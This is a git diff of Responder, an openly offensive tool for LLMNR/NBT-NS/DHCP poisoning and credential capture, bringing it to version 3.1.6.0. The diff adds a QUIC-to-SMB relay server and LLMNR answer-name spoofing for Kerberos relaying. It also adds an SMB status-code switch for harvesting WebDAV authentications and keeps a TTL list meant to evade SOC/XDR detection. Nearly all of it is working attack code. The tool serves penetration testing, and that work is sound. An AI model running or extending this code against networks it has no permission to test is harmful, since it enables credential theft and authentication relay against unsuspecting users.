diff --git a/CHANGELOG.md b/CHANGELOG.md
index bbc5d88..755e6a5 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,3 +1,35 @@
+
+n.n.n / 2025-05-22
+==================
+
+ * added check for aioquic & updated version to reflect recent changes
+ * Merge pull request #310 from ctjf/master
+ * Merge pull request #308 from BlWasp/error_code_returned
+ * Merge pull request #311 from stfnw/master
+ * DHCP poisoner: refactor FindIP
+ * added quic support based on xpn's work
+ * Indentation typos
+ * Add status code control
+ * Merge pull request #305 from L1-0/patch-1
+ * Update RPC.py
+ * Merge pull request #301 from q-roland/kerberos_relaying_llmnr
+ * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
+
+n.n.n / 2025-05-22
+==================
+
+ * added check for aioquic & updated version to reflect recent changes
+ * Merge pull request #310 from ctjf/master
+ * Merge pull request #308 from BlWasp/error_code_returned
+ * Merge pull request #311 from stfnw/master
+ * DHCP poisoner: refactor FindIP
+ * added quic support based on xpn's work
+ * Indentation typos
+ * Add status code control
+ * Merge pull request #305 from L1-0/patch-1
+ * Update RPC.py
+ * Merge pull request #301 from q-roland/kerberos_relaying_llmnr
+ * Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
# Changelog
All notable changes to this project will be documented in this file.
diff --git a/README.md b/README.md
index 7ee2a49..f09820f 100755
--- a/README.md
+++ b/README.md
@@ -157,15 +157,29 @@ Options:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
- ON. Default: False
+ ON. This option is highly effective. Default: False
+ -Q, --quiet Tell Responder to be quiet, disables a bunch of
+ printing from the poisoners. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
+ -t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
+ Value in hex (30 seconds = 1e). use '-t random' for
+ random TTL
+ -N ANSWERNAME, --AnswerName=ANSWERNAME
+ Specifies the canonical name returned by the LLMNR
+ poisoner in tits Answer section. By default, the
+ answer's canonical name is the same as the query.
+ Changing this value is mainly useful when attempting
+ to perform Kebreros relaying over HTTP.
+ -E, --ErrorCode Changes the error code returned by the SMB server to
+ STATUS_LOGON_FAILURE. By default, the status is
+ STATUS_ACCESS_DENIED. Changing this value permits to
+ obtain WebDAV authentications from the poisoned
+ machines where the WebClient service is running.
-
-
## Donation ##
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
diff --git a/Responder.conf b/Responder.conf
index a9eac42..5a4e46a 100755
--- a/Responder.conf
+++ b/Responder.conf
@@ -8,6 +8,7 @@ NBTNS = On
; Servers to start
SQL = On
SMB = On
+QUIC = On
RDP = On
Kerberos = On
FTP = On
@@ -20,7 +21,7 @@ DNS = On
LDAP = On
DCERPC = On
WINRM = On
-SNMP = Off
+SNMP = On
MQTT = On
; Custom challenge.
diff --git a/Responder.py b/Responder.py
index bbd3c7a..952b086 100755
--- a/Responder.py
+++ b/Responder.py
@@ -14,6 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
+import asyncio
import optparse
import ssl
try:
@@ -46,6 +47,8 @@ parser.add_option('--lm', action="store_true", help="Force LM h
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
+parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
+parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
options, args = parser.parse_args()
if not os.geteuid() == 0:
@@ -360,6 +363,12 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
+ if settings.Config.QUIC_On_Off:
+ from servers.QUIC import start_quic_server
+ cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
+ key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
+ threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
+
if settings.Config.Krb_On_Off:
from servers.Kerberos import KerbTCP, KerbUDP
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py
index a0e1713..3d54126 100755
--- a/poisoners/DHCP.py
+++ b/poisoners/DHCP.py
@@ -239,9 +239,13 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
- data = data.decode('latin-1')
- IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
- return ''.join(IP[0:4]).encode('latin-1')
+ IPPos = data.find(b"\x32\x04") + 2
+ if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1:
+ #Probably not present in the DHCP options we received, let's grab it from the IP header instead
+ return data[12:16]
+ else:
+ IP = data[IPPos:IPPos+4]
+ return IP
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient
diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py
index 36fe7c3..25e020e 100755
--- a/poisoners/LLMNR.py
+++ b/poisoners/LLMNR.py
@@ -58,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try:
data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1")
+ if settings.Config.AnswerName is None:
+ AnswerName = Name
+ else:
+ AnswerName = settings.Config.AnswerName
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
@@ -78,14 +82,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
elif LLMNRType == True: # Poisoning Mode
#Default:
if settings.Config.TTL == None:
- Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
+ Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
- Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
+ Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
- print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
+ if settings.Config.AnswerName is None:
+ print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
+ else:
+ print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
@@ -96,14 +103,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
elif LLMNRType == 'IPv6' and Have_IPv6:
#Default:
if settings.Config.TTL == None:
- Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
+ Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
- Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
+ Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
- print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
+ if settings.Config.AnswerName is None:
+ print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
+ else:
+ print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],
diff --git a/requirements.txt b/requirements.txt
index 7823774..8bd1f34 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1 +1,2 @@
+aioquic
netifaces>=0.10.4
diff --git a/servers/QUIC.py b/servers/QUIC.py
new file mode 100644
index 0000000..a2397f5
--- /dev/null
+++ b/servers/QUIC.py
@@ -0,0 +1,168 @@
+import asyncio
+import logging
+import ssl
+import argparse
+import netifaces
+from utils import *
+from aioquic.asyncio import serve
+from aioquic.asyncio.protocol import QuicConnectionProtocol
+from aioquic.quic.configuration import QuicConfiguration
+from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
+
+BUFFER_SIZE = 11000
+
+def get_interface_ip(interface_name):
+ """Get the IP address of a network interface."""
+ try:
+ # Get address info for the specified interface
+ addresses = netifaces.ifaddresses(interface_name)
+
+ # Get IPv4 address (AF_INET = IPv4)
+ if netifaces.AF_INET in addresses:
+ return addresses[netifaces.AF_INET][0]['addr']
+
+ # If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
+ if netifaces.AF_INET6 in addresses:
+ return addresses[netifaces.AF_INET6][0]['addr']
+
+ logging.error(f"[!] No IP address found for interface {interface_name}")
+ return None
+ except ValueError:
+ logging.error(f"[!] Interface {interface_name} not found")
+ return None
+
+
+class QUIC(QuicConnectionProtocol):
+ def __init__(self, *args, target_address=None, **kwargs):
+ super().__init__(*args, **kwargs)
+ self.tcp_connections = {} # stream_id -> (reader, writer)
+ self.target_address = target_address or "localhost"
+
+ def quic_event_received(self, event):
+ if isinstance(event, StreamDataReceived):
+ asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
+ elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
+ # Only try to close connections if we have any
+ if self.tcp_connections:
+ asyncio.create_task(self.close_all_tcp_connections())
+
+ async def handle_stream_data(self, stream_id, data):
+ if stream_id not in self.tcp_connections:
+ # Create a new TCP connection to the target interface:445
+ try:
+ reader, writer = await asyncio.open_connection(self.target_address, 445)
+ self.tcp_connections[stream_id] = (reader, writer)
+
+ # Start task to read from TCP and write to QUIC
+ asyncio.create_task(self.tcp_to_quic(stream_id, reader))
+
+ logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
+ print(text("[QUIC] Forwarding QUIC connection to SMB server"))
+ except Exception as e:
+ logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
+ return
+
+ # Forward data from QUIC to TCP
+ try:
+ _, writer = self.tcp_connections[stream_id]
+ writer.write(data)
+ await writer.drain()
+ except Exception as e:
+ logging.error(f"[!] Error writing to TCP: {e}")
+ await self.close_tcp_connection(stream_id)
+
+ async def tcp_to_quic(self, stream_id, reader):
+ try:
+ while True:
+ data = await reader.read(BUFFER_SIZE)
+ if not data:
+ break
+
+ self._quic.send_stream_data(stream_id, data)
+ self.transmit()
+ except Exception as e:
+ logging.error(f"[!] Error reading from TCP: {e}")
+ finally:
+ await self.close_tcp_connection(stream_id)
+
+ async def close_tcp_connection(self, stream_id):
+ if stream_id in self.tcp_connections:
+ _, writer = self.tcp_connections[stream_id]
+ writer.close()
+ await writer.wait_closed()
+ del self.tcp_connections[stream_id]
+
+ async def close_all_tcp_connections(self):
+ try:
+ # Make a copy of the keys to avoid modification during iteration
+ stream_ids = list(self.tcp_connections.keys())
+ for stream_id in stream_ids:
+ try:
+ await self.close_tcp_connection(stream_id)
+ except KeyError:
+ # Silently ignore if the stream ID no longer exists
+ pass
+ except Exception as e:
+ # Catch any other exceptions that might occur
+ logging.debug(f"[!] Error closing TCP connections: {e}")
+
+async def start_quic_server(listen_interface, cert_path, key_path):
+ # Configure QUIC
+ configuration = QuicConfiguration(
+ alpn_protocols=["smb"],
+ is_client=False,
+ )
+
+ # Load certificate and private key
+ try:
+ configuration.load_cert_chain(cert_path, key_path)
+ except Exception as e:
+ logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
+ return
+
+ # Resolve interfaces to IP addresses
+ listen_ip = listen_interface
+ if not is_ip_address(listen_interface):
+ listen_ip = get_interface_ip(listen_interface)
+ if not listen_ip:
+ logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
+ return
+
+ target_ip = listen_interface
+ if not is_ip_address(listen_interface):
+ target_ip = get_interface_ip(listen_interface)
+ if not target_ip:
+ logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
+ return
+
+ # Start QUIC server with correct protocol factory
+ server = await serve(
+ host=listen_ip,
+ port=443,
+ configuration=configuration,
+ create_protocol=lambda *args, **kwargs: QUIC(
+ *args,
+ target_address=target_ip,
+ **kwargs
+ )
+ )
+
+ logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
+ logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
+
+ # Keep the server running forever
+ await asyncio.Future()
+
+
+def is_ip_address(address):
+ """Check if a string is a valid IP address."""
+ import socket
+ try:
+ socket.inet_pton(socket.AF_INET, address)
+ return True
+ except socket.error:
+ try:
+ socket.inet_pton(socket.AF_INET6, address)
+ return True
+ except socket.error:
+ return False
diff --git a/servers/RPC.py b/servers/RPC.py
index ce931f5..c8074ac 100644
--- a/servers/RPC.py
+++ b/servers/RPC.py
@@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
- print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
+ print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#LSARPC
@@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
- print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
+ print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#WINSPOOL
@@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
- print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
+ print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close()
#NetLogon
@@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler):
#RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024)
- #print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
+ #print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception:
self.request.close()
diff --git a/servers/SMB.py b/servers/SMB.py
index b93ebb7..2110927 100644
--- a/servers/SMB.py
+++ b/servers/SMB.py
@@ -239,7 +239,11 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 3 answer SMBv2.
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
ParseSMBHash(data, self.client_address[0], Challenge)
- head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
+ if settings.Config.ErrorCode:
+ ntstatus="\x6d\x00\x00\xc0"
+ else:
+ ntstatus="\x22\x00\x00\xc0"
+ head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
t = SMB2Session2Data()
packet1 = str(head)+str(t)
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
@@ -357,7 +361,11 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
self.request.send(NetworkSendBufferPython2or3(Buffer))
else:
ParseLMNTHash(data,self.client_address[0], Challenge)
- head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
+ if settings.Config.ErrorCode:
+ ntstatus="\x6d\x00\x00\xc0"
+ else:
+ ntstatus="\x22\x00\x00\xc0"
+ head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode=ntstatus,pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
Packet = str(head) + str(SMBSessEmpty())
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
self.request.send(NetworkSendBufferPython2or3(Buffer))
diff --git a/settings.py b/settings.py
index ee96190..d8e7f04 100644
--- a/settings.py
+++ b/settings.py
@@ -23,7 +23,7 @@ import subprocess
from utils import *
-__version__ = 'Responder 3.1.5.0'
+__version__ = 'Responder 3.1.6.0'
class Settings:
@@ -124,6 +124,7 @@ class Settings:
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB'))
+ self.QUIC_On_Off = self.toBool(config.get('Responder Core', 'QUIC'))
self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL'))
self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP'))
self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP'))
@@ -172,6 +173,8 @@ class Settings:
self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
self.Quiet_Mode = options.Quiet
+ self.AnswerName = options.AnswerName
+ self.ErrorCode = options.ErrorCode
# TTL blacklist. Known to be detected by SOC / XDR
TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
diff --git a/utils.py b/utils.py
index 38a72b1..b77ccbb 100644
--- a/utils.py
+++ b/utils.py
@@ -29,7 +29,12 @@ try:
import netifaces
except:
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
-
+
+try:
+ import aioquic
+except:
+ sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
+
from calendar import timegm
def if_nametoindex2(name):
@@ -480,21 +485,13 @@ def banner():
])
print(banner)
- print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
- print('')
- print(" To support this project:")
- print(" Github -> https://github.com/sponsors/lgandx")
- print(" Paypal -> https://paypal.me/PythonResponder")
- print('')
- print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
- print(" To kill this script hit CTRL-C")
print('')
def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
-
+ print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder")
print('')
print(color("[+] ", 2, 1) + "Poisoners:")
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
@@ -574,4 +571,8 @@ def StartupMessage():
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
-
+
+ #credits
+ print('')
+ print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
+ print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, ")